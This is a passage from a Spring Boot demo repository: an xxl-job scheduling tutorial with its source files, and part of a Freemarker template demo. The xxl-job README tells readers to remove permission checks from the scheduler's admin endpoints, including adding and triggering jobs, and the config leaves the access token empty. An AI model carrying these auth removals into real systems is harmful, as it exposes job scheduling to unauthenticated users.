* 执行器 IP\n         */\n        private String ip;\n\n        /**\n         * 执行器端口\n         */\n        private int port;\n\n        /**\n         * 执行器日志\n         */\n        private String logPath;\n\n        /**\n         * 执行器日志保留天数，-1\n         */\n        private int logRetentionDays;\n    }\n}\n```\n\n### 2.3. 编写配置文件 application.yml\n\n```yaml\nserver:\n  port: 8080\n  servlet:\n    context-path: /demo\nxxl:\n  job:\n    # 执行器通讯TOKEN [选填]：非空时启用；\n    access-token:\n    admin:\n      # 调度中心部署跟地址 [选填]：如调度中心集群部署存在多个地址则用逗号分隔。执行器将会使用该地址进行\"执行器心跳注册\"和\"任务结果回调\"；为空则关闭自动注册；\n      address: http://localhost:18080/xxl-job-admin\n    executor:\n      # 执行器AppName [选填]：执行器心跳注册分组依据；为空则关闭自动注册\n      app-name: spring-boot-demo-task-xxl-job-executor\n      # 执行器IP [选填]：默认为空表示自动获取IP，多网卡时可手动设置指定IP，该IP不会绑定Host仅作为通讯实用；地址信息用于 \"执行器注册\" 和 \"调度中心请求并触发任务\"；\n      ip:\n      # 执行器端口号 [选填]：小于等于0则自动获取；默认端口为9999，单机部署多个执行器时，注意要配置不同执行器端口；\n      port: 9999\n      # 执行器运行日志文件存储磁盘路径 [选填] ：需要对该路径拥有读写权限；为空则使用默认路径；\n      log-path: logs/spring-boot-demo-task-xxl-job/task-log\n      # 执行器日志保存天数 [选填] ：值大于3时生效，启用执行器Log文件定期清理功能，否则不生效；\n      log-retention-days: -1\n```\n\n### 2.4. 编写自动装配类 XxlConfig.java\n\n```java\n/**\n * <p>\n * xxl-job 自动装配\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019-08-07 10:20\n */\n@Slf4j\n@Configuration\n@EnableConfigurationProperties(XxlJobProps.class)\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class XxlJobConfig {\n    private final XxlJobProps xxlJobProps;\n\n    @Bean(initMethod = \"start\", destroyMethod = \"destroy\")\n    public XxlJobSpringExecutor xxlJobExecutor() {\n        log.info(\">>>>>>>>>>> xxl-job config init.\");\n        XxlJobSpringExecutor xxlJobSpringExecutor = new XxlJobSpringExecutor();\n        xxlJobSpringExecutor.setAdminAddresses(xxlJobProps.getAdmin().getAddress());\n        xxlJobSpringExecutor.setAccessToken(xxlJobProps.getAccessToken());\n        xxlJobSpringExecutor.setAppName(xxlJobProps.getExecutor().getAppName());\n        xxlJobSpringExecutor.setIp(xxlJobProps.getExecutor().getIp());\n        xxlJobSpringExecutor.setPort(xxlJobProps.getExecutor().getPort());\n        xxlJobSpringExecutor.setLogPath(xxlJobProps.getExecutor().getLogPath());\n        xxlJobSpringExecutor.setLogRetentionDays(xxlJobProps.getExecutor().getLogRetentionDays());\n\n        return xxlJobSpringExecutor;\n    }\n\n}\n```\n\n### 2.5. 编写具体的定时逻辑 DemoTask.java\n\n```java\n/**\n * <p>\n * 测试定时任务\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019-08-07 10:15\n */\n@Slf4j\n@Component\n@JobHandler(\"demoTask\")\npublic class DemoTask extends IJobHandler {\n\n    /**\n     * execute handler, invoked when executor receives a scheduling request\n     *\n     * @param param 定时任务参数\n     * @return 执行状态\n     * @throws Exception 任务异常\n     */\n    @Override\n    public ReturnT<String> execute(String param) throws Exception {\n        // 可以动态获取传递过来的参数，根据参数不同，当前调度的任务不同\n        log.info(\"【param】= {}\", param);\n        XxlJobLogger.log(\"demo task run at : {}\", DateUtil.now());\n        return RandomUtil.randomInt(1, 11) % 2 == 0 ? SUCCESS : FAIL;\n    }\n}\n```\n\n### 2.6. 启动执行器\n\nRun `SpringBootDemoTaskXxlJobApplication`\n\n## 3. 配置定时任务\n\n### 3.1. 将启动的执行器添加到调度中心\n\n执行器管理 - 新增执行器\n\n![image-20190808105910203](https://static.xkcoding.com/spring-boot-demo/2019-08-08-025910.png)\n\n### 3.2. 添加定时任务\n\n任务管理 - 新增 - 保存\n\n![image-20190808110127956](https://static.xkcoding.com/spring-boot-demo/2019-08-08-030128.png)\n\n### 3.3. 启停定时任务\n\n任务列表的操作列，拥有以下操作：执行、启动/停止、日志、编辑、删除\n\n执行：单次触发任务，不影响定时逻辑\n\n启动：启动定时任务\n\n停止：停止定时任务\n\n日志：查看当前任务执行日志\n\n编辑：更新定时任务\n\n删除：删除定时任务\n\n## 4. 使用API添加定时任务\n\n> 实际场景中，如果添加定时任务都需要手动在 xxl-job-admin 去操作，这样可能比较麻烦，用户更希望在自己的页面，添加定时任务参数、定时调度表达式，然后通过 API 的方式添加定时任务\n\n### 4.1. 改造xxl-job-admin\n\n#### 4.1.1. 修改 JobGroupController.java\n\n```java\n...\n// 添加执行器列表\n@RequestMapping(\"/list\")\n@ResponseBody\n// 去除权限校验\n@PermissionLimit(limit = false)\npublic ReturnT<List<XxlJobGroup>> list(){\n\t\treturn  new ReturnT<>(xxlJobGroupDao.findAll());\n}\n...\n```\n\n#### 4.1.2. 修改 JobInfoController.java\n\n```java\n// 分别在 pageList、add、update、remove、pause、start、triggerJob 方法上添加注解，去除权限校验\n@PermissionLimit(limit = false)\n```\n\n### 4.2. 改造 执行器项目\n\n#### 4.2.1. 添加手动触发类\n\n```java\n/**\n * <p>\n * 手动操作 xxl-job\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019-08-07 14:58\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/xxl-job\")\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class ManualOperateController {\n    private final static String baseUri = \"http://127.0.0.1:18080/xxl-job-admin\";\n    private final static String JOB_INFO_URI = \"/jobinfo\";\n    private final static String JOB_GROUP_URI = \"/jobgroup\";\n\n    /**\n     * 任务组列表，xxl-job叫做触发器列表\n     */\n    @GetMapping(\"/group\")\n    public String xxlJobGroup() {\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_GROUP_URI + \"/list\").execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 分页任务列表\n     *\n     * @param page 当前页，第一页 -> 0\n     * @param size 每页条数，默认10\n     * @return 分页任务列表\n     */\n    @GetMapping(\"/list\")\n    public String xxlJobList(Integer page, Integer size) {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"start\", page != null ? page : 0);\n        jobInfo.put(\"length\", size != null ? size : 10);\n        jobInfo.put(\"jobGroup\", 2);\n        jobInfo.put(\"triggerStatus\", -1);\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/pageList\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 测试手动保存任务\n     */\n    @GetMapping(\"/add\")\n    public String xxlJobAdd() {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"jobGroup\", 2);\n        jobInfo.put(\"jobCron\", \"0 0/1 * * * ? *\");\n        jobInfo.put(\"jobDesc\", \"手动添加的任务\");\n        jobInfo.put(\"author\", \"admin\");\n        jobInfo.put(\"executorRouteStrategy\", \"ROUND\");\n        jobInfo.put(\"executorHandler\", \"demoTask\");\n        jobInfo.put(\"executorParam\", \"手动添加的任务的参数\");\n        jobInfo.put(\"executorBlockStrategy\", ExecutorBlockStrategyEnum.SERIAL_EXECUTION);\n        jobInfo.put(\"glueType\", GlueTypeEnum.BEAN);\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/add\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 测试手动触发一次任务\n     */\n    @GetMapping(\"/trigger\")\n    public String xxlJobTrigger() {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"id\", 4);\n        jobInfo.put(\"executorParam\", JSONUtil.toJsonStr(jobInfo));\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/trigger\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 测试手动删除任务\n     */\n    @GetMapping(\"/remove\")\n    public String xxlJobRemove() {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"id\", 4);\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/remove\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 测试手动停止任务\n     */\n    @GetMapping(\"/stop\")\n    public String xxlJobStop() {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"id\", 4);\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/stop\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 测试手动启动任务\n     */\n    @GetMapping(\"/start\")\n    public String xxlJobStart() {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"id\", 4);\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/start\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n}\n```\n\n> 后端其余代码请 clone 本项目，查看具体代码\n\n## 参考\n\n- [《分布式任务调度平台xxl-job》](http://www.xuxueli.com/xxl-job/#/)\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_task_xxl_job/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_task_xxl_job</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n  <name>springboot_task_xxl_job</name>\n  <description>Demo project for Spring Boot</description>\n\n   <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n    <xxl-job.version>2.1.0</xxl-job.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-configuration-processor</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <!-- xxl-job-core -->\n    <dependency>\n      <groupId>com.xuxueli</groupId>\n      <artifactId>xxl-job-core</artifactId>\n      <version>${xxl-job.version}</version>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>cn.hutool</groupId>\n      <artifactId>hutool-all</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>com.google.guava</groupId>\n      <artifactId>guava</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_task_xxl_job/src/main/java/com/jun/plugin/task/xxl/job/SpringBootDemoTaskXxlJobApplication.java",
    "content": "package com.jun.plugin.task.xxl.job;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @author Wujun\n * @date Created in 2019-08-07 10:13\n */\n@SpringBootApplication\npublic class SpringBootDemoTaskXxlJobApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoTaskXxlJobApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_task_xxl_job/src/main/java/com/jun/plugin/task/xxl/job/config/XxlJobConfig.java",
    "content": "package com.jun.plugin.task.xxl.job.config;\n\nimport com.jun.plugin.task.xxl.job.config.props.XxlJobProps;\nimport com.xxl.job.core.executor.impl.XxlJobSpringExecutor;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * <p>\n * xxl-job 自动装配\n * </p>\n *\n * @author Wujun\n * @date Created in 2019-08-07 10:20\n */\n@Slf4j\n@Configuration\n@EnableConfigurationProperties(XxlJobProps.class)\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class XxlJobConfig {\n    private final XxlJobProps xxlJobProps;\n\n    @Bean(initMethod = \"start\", destroyMethod = \"destroy\")\n    public XxlJobSpringExecutor xxlJobExecutor() {\n        log.info(\">>>>>>>>>>> xxl-job config init.\");\n        XxlJobSpringExecutor xxlJobSpringExecutor = new XxlJobSpringExecutor();\n        xxlJobSpringExecutor.setAdminAddresses(xxlJobProps.getAdmin().getAddress());\n        xxlJobSpringExecutor.setAccessToken(xxlJobProps.getAccessToken());\n        xxlJobSpringExecutor.setAppName(xxlJobProps.getExecutor().getAppName());\n        xxlJobSpringExecutor.setIp(xxlJobProps.getExecutor().getIp());\n        xxlJobSpringExecutor.setPort(xxlJobProps.getExecutor().getPort());\n        xxlJobSpringExecutor.setLogPath(xxlJobProps.getExecutor().getLogPath());\n        xxlJobSpringExecutor.setLogRetentionDays(xxlJobProps.getExecutor().getLogRetentionDays());\n\n        return xxlJobSpringExecutor;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_task_xxl_job/src/main/java/com/jun/plugin/task/xxl/job/config/props/XxlJobProps.java",
    "content": "package com.jun.plugin.task.xxl.job.config.props;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * <p>\n * xxl-job 配置\n * </p>\n *\n * @author Wujun\n * @date Created in 2019-08-07 10:25\n */\n@Data\n@ConfigurationProperties(prefix = \"xxl.job\")\npublic class XxlJobProps {\n    /**\n     * 调度中心配置\n     */\n    private XxlJobAdminProps admin;\n\n    /**\n     * 执行器配置\n     */\n    private XxlJobExecutorProps executor;\n\n    /**\n     * 与调度中心交互的accessToken\n     */\n    private String accessToken;\n\n    @Data\n    public static class XxlJobAdminProps {\n        /**\n         * 调度中心地址\n         */\n        private String address;\n    }\n\n    @Data\n    public static class XxlJobExecutorProps {\n        /**\n         * 执行器名称\n         */\n        private String appName;\n\n        /**\n         * 执行器 IP\n         */\n        private String ip;\n\n        /**\n         * 执行器端口\n         */\n        private int port;\n\n        /**\n         * 执行器日志\n         */\n        private String logPath;\n\n        /**\n         * 执行器日志保留天数，-1\n         */\n        private int logRetentionDays;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_task_xxl_job/src/main/java/com/jun/plugin/task/xxl/job/controller/ManualOperateController.java",
    "content": "package com.jun.plugin.task.xxl.job.controller;\n\nimport cn.hutool.http.HttpResponse;\nimport cn.hutool.http.HttpUtil;\nimport cn.hutool.json.JSONUtil;\nimport com.google.common.collect.Maps;\nimport com.xxl.job.core.enums.ExecutorBlockStrategyEnum;\nimport com.xxl.job.core.glue.GlueTypeEnum;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.Map;\n\n/**\n * <p>\n * 手动操作 xxl-job\n * </p>\n *\n * @author Wujun\n * @date Created in 2019-08-07 14:58\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/xxl-job\")\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class ManualOperateController {\n    private final static String baseUri = \"http://127.0.0.1:18080/xxl-job-admin\";\n    private final static String JOB_INFO_URI = \"/jobinfo\";\n    private final static String JOB_GROUP_URI = \"/jobgroup\";\n\n    /**\n     * 任务组列表，xxl-job叫做触发器列表\n     */\n    @GetMapping(\"/group\")\n    public String xxlJobGroup() {\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_GROUP_URI + \"/list\").execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 分页任务列表\n     *\n     * @param page 当前页，第一页 -> 0\n     * @param size 每页条数，默认10\n     * @return 分页任务列表\n     */\n    @GetMapping(\"/list\")\n    public String xxlJobList(Integer page, Integer size) {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"start\", page != null ? page : 0);\n        jobInfo.put(\"length\", size != null ? size : 10);\n        jobInfo.put(\"jobGroup\", 2);\n        jobInfo.put(\"triggerStatus\", -1);\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/pageList\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 测试手动保存任务\n     */\n    @GetMapping(\"/add\")\n    public String xxlJobAdd() {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"jobGroup\", 2);\n        jobInfo.put(\"jobCron\", \"0 0/1 * * * ? *\");\n        jobInfo.put(\"jobDesc\", \"手动添加的任务\");\n        jobInfo.put(\"author\", \"admin\");\n        jobInfo.put(\"executorRouteStrategy\", \"ROUND\");\n        jobInfo.put(\"executorHandler\", \"demoTask\");\n        jobInfo.put(\"executorParam\", \"手动添加的任务的参数\");\n        jobInfo.put(\"executorBlockStrategy\", ExecutorBlockStrategyEnum.SERIAL_EXECUTION);\n        jobInfo.put(\"glueType\", GlueTypeEnum.BEAN);\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/add\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 测试手动触发一次任务\n     */\n    @GetMapping(\"/trigger\")\n    public String xxlJobTrigger() {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"id\", 4);\n        jobInfo.put(\"executorParam\", JSONUtil.toJsonStr(jobInfo));\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/trigger\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 测试手动删除任务\n     */\n    @GetMapping(\"/remove\")\n    public String xxlJobRemove() {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"id\", 4);\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/remove\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 测试手动停止任务\n     */\n    @GetMapping(\"/stop\")\n    public String xxlJobStop() {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"id\", 4);\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/stop\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n    /**\n     * 测试手动启动任务\n     */\n    @GetMapping(\"/start\")\n    public String xxlJobStart() {\n        Map<String, Object> jobInfo = Maps.newHashMap();\n        jobInfo.put(\"id\", 4);\n\n        HttpResponse execute = HttpUtil.createGet(baseUri + JOB_INFO_URI + \"/start\").form(jobInfo).execute();\n        log.info(\"【execute】= {}\", execute);\n        return execute.body();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_task_xxl_job/src/main/java/com/jun/plugin/task/xxl/job/task/DemoTask.java",
    "content": "package com.jun.plugin.task.xxl.job.task;\n\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.util.RandomUtil;\nimport com.xxl.job.core.biz.model.ReturnT;\nimport com.xxl.job.core.handler.IJobHandler;\nimport com.xxl.job.core.handler.annotation.JobHandler;\nimport com.xxl.job.core.log.XxlJobLogger;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Component;\n\n/**\n * <p>\n * 测试定时任务\n * </p>\n *\n * @author Wujun\n * @date Created in 2019-08-07 10:15\n */\n@Slf4j\n@Component\n@JobHandler(\"demoTask\")\npublic class DemoTask extends IJobHandler {\n\n    /**\n     * execute handler, invoked when executor receives a scheduling request\n     *\n     * @param param 定时任务参数\n     * @return 执行状态\n     * @throws Exception 任务异常\n     */\n    @Override\n    public ReturnT<String> execute(String param) throws Exception {\n        // 可以动态获取传递过来的参数，根据参数不同，当前调度的任务不同\n        log.info(\"【param】= {}\", param);\n        XxlJobLogger.log(\"demo task run at : {}\", DateUtil.now());\n        return RandomUtil.randomInt(1, 11) % 2 == 0 ? SUCCESS : FAIL;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_task_xxl_job/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nxxl:\n  job:\n    # 执行器通讯TOKEN [选填]：非空时启用；\n    access-token:\n    admin:\n      # 调度中心部署跟地址 [选填]：如调度中心集群部署存在多个地址则用逗号分隔。执行器将会使用该地址进行\"执行器心跳注册\"和\"任务结果回调\"；为空则关闭自动注册；\n      address: http://localhost:18080/xxl-job-admin\n    executor:\n      # 执行器AppName [选填]：执行器心跳注册分组依据；为空则关闭自动注册\n      app-name: spring-boot-demo-task-xxl-job-executor\n      # 执行器IP [选填]：默认为空表示自动获取IP，多网卡时可手动设置指定IP，该IP不会绑定Host仅作为通讯实用；地址信息用于 \"执行器注册\" 和 \"调度中心请求并触发任务\"；\n      ip:\n      # 执行器端口号 [选填]：小于等于0则自动获取；默认端口为9999，单机部署多个执行器时，注意要配置不同执行器端口；\n      port: 9999\n      # 执行器运行日志文件存储磁盘路径 [选填] ：需要对该路径拥有读写权限；为空则使用默认路径；\n      log-path: logs/spring-boot-demo-task-xxl-job/task-log\n      # 执行器日志保存天数 [选填] ：值大于3时生效，启用执行器Log文件定期清理功能，否则不生效；\n      log-retention-days: -1\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/README.md",
    "content": "# spring-boot-demo-template-freemarker\n\n> 本 demo 主要演示了 Spring Boot 项目如何集成 freemarker 模板引擎\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<artifactId>spring-boot-demo-template-freemarker</artifactId>\n\t<version>1.0.0-SNAPSHOT</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-demo-template-freemarker</name>\n\t<description>Demo project for Spring Boot</description>\n\n\t<parent>\n\t\t<groupId>io.github.wujun728</groupId>\n\t\t<artifactId>spring-boot-demo</artifactId>\n\t\t<version>1.0.0-SNAPSHOT</version>\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-freemarker</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>cn.hutool</groupId>\n\t\t\t<artifactId>hutool-all</artifactId>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>spring-boot-demo-template-freemarker</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>\n```\n\n## IndexController.java\n\n```java\n/**\n * <p>\n * 主页\n * </p>\n *\n * @package: com.jun.plugin.template.freemarker.controller\n * @description: 主页\n * @author: yangkai.shen\n * @date: Created in 2018/10/9 3:07 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Controller\n@Slf4j\npublic class IndexController {\n\n\t@GetMapping(value = {\"\", \"/\"})\n\tpublic ModelAndView index(HttpServletRequest request) {\n\t\tModelAndView mv = new ModelAndView();\n\n\t\tmodel.User user = (model.User) request.getSession().getAttribute(\"user\");\n\t\tif (ObjectUtil.isNull(user)) {\n\t\t\tmv.setViewName(\"redirect:/user/login\");\n\t\t} else {\n\t\t\tmv.setViewName(\"index\");\n\t\t\tmv.addObject(user);\n\t\t}\n\n\t\treturn mv;\n\t}\n}\n```\n\n## UserController.java\n\n```java\n/**\n * <p>\n * 用户页面\n * </p>\n *\n * @package: com.jun.plugin.template.freemarker.controller\n * @description: 用户页面\n * @author: yangkai.shen\n * @date: Created in 2018/10/9 3:11 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Controller\n@RequestMapping(\"/user\")\n@Slf4j\npublic class UserController {\n\t@PostMapping(\"/login\")\n\tpublic ModelAndView login(model.User user, HttpServletRequest request) {\n\t\tModelAndView mv = new ModelAndView();\n\n\t\tmv.addObject(user);\n\t\tmv.setViewName(\"redirect:/\");\n\n\t\trequest.getSession().setAttribute(\"user\", user);\n\t\treturn mv;\n\t}\n\n\t@GetMapping(\"/login\")\n\tpublic ModelAndView login() {\n\t\treturn new ModelAndView(\"login\");\n\t}\n}\n```\n\n## index.ftl\n\n```jsp\n<!doctype html>\n<html lang=\"en\">\n<#include \"./common/head.ftl\">\n<body>\n<div id=\"app\" style=\"margin: 20px 20%\">\n\t欢迎登录，${user.name}！\n</div>\n</body>\n</html>\n```\n\n## login.ftl\n\n```jsp\n<!doctype html>\n<html lang=\"en\">\n<#include \"./common/head.ftl\">\n<body>\n<div id=\"app\" style=\"margin: 20px 20%\">\n\t<form action=\"/demo/user/login\" method=\"post\">\n\t\t用户名<input type=\"text\" name=\"name\" placeholder=\"用户名\"/>\n\t\t密码<input type=\"password\" name=\"password\" placeholder=\"密码\"/>\n\t\t<input type=\"submit\" value=\"登录\">\n\t</form>\n</div>\n</body>\n</html>\n```\n\n## application.yml\n\n```yaml\nserver:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  freemarker:\n    suffix: .ftl\n    cache: false\n    charset: UTF-8\n```\n\n## Freemarker 语法糖学习文档\n\nhttps://freemarker.apache.org/docs/dgui.html\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_template_freemarker/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_template_freemarker</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n\t<name>springboot_template_freemarker</name>\n\t<description>Demo project for Spring Boot</description>\n\n   <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-freemarker</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>cn.hutool</groupId>\n\t\t\t<artifactId>hutool-all</artifactId>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>springboot_template_freemarker</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t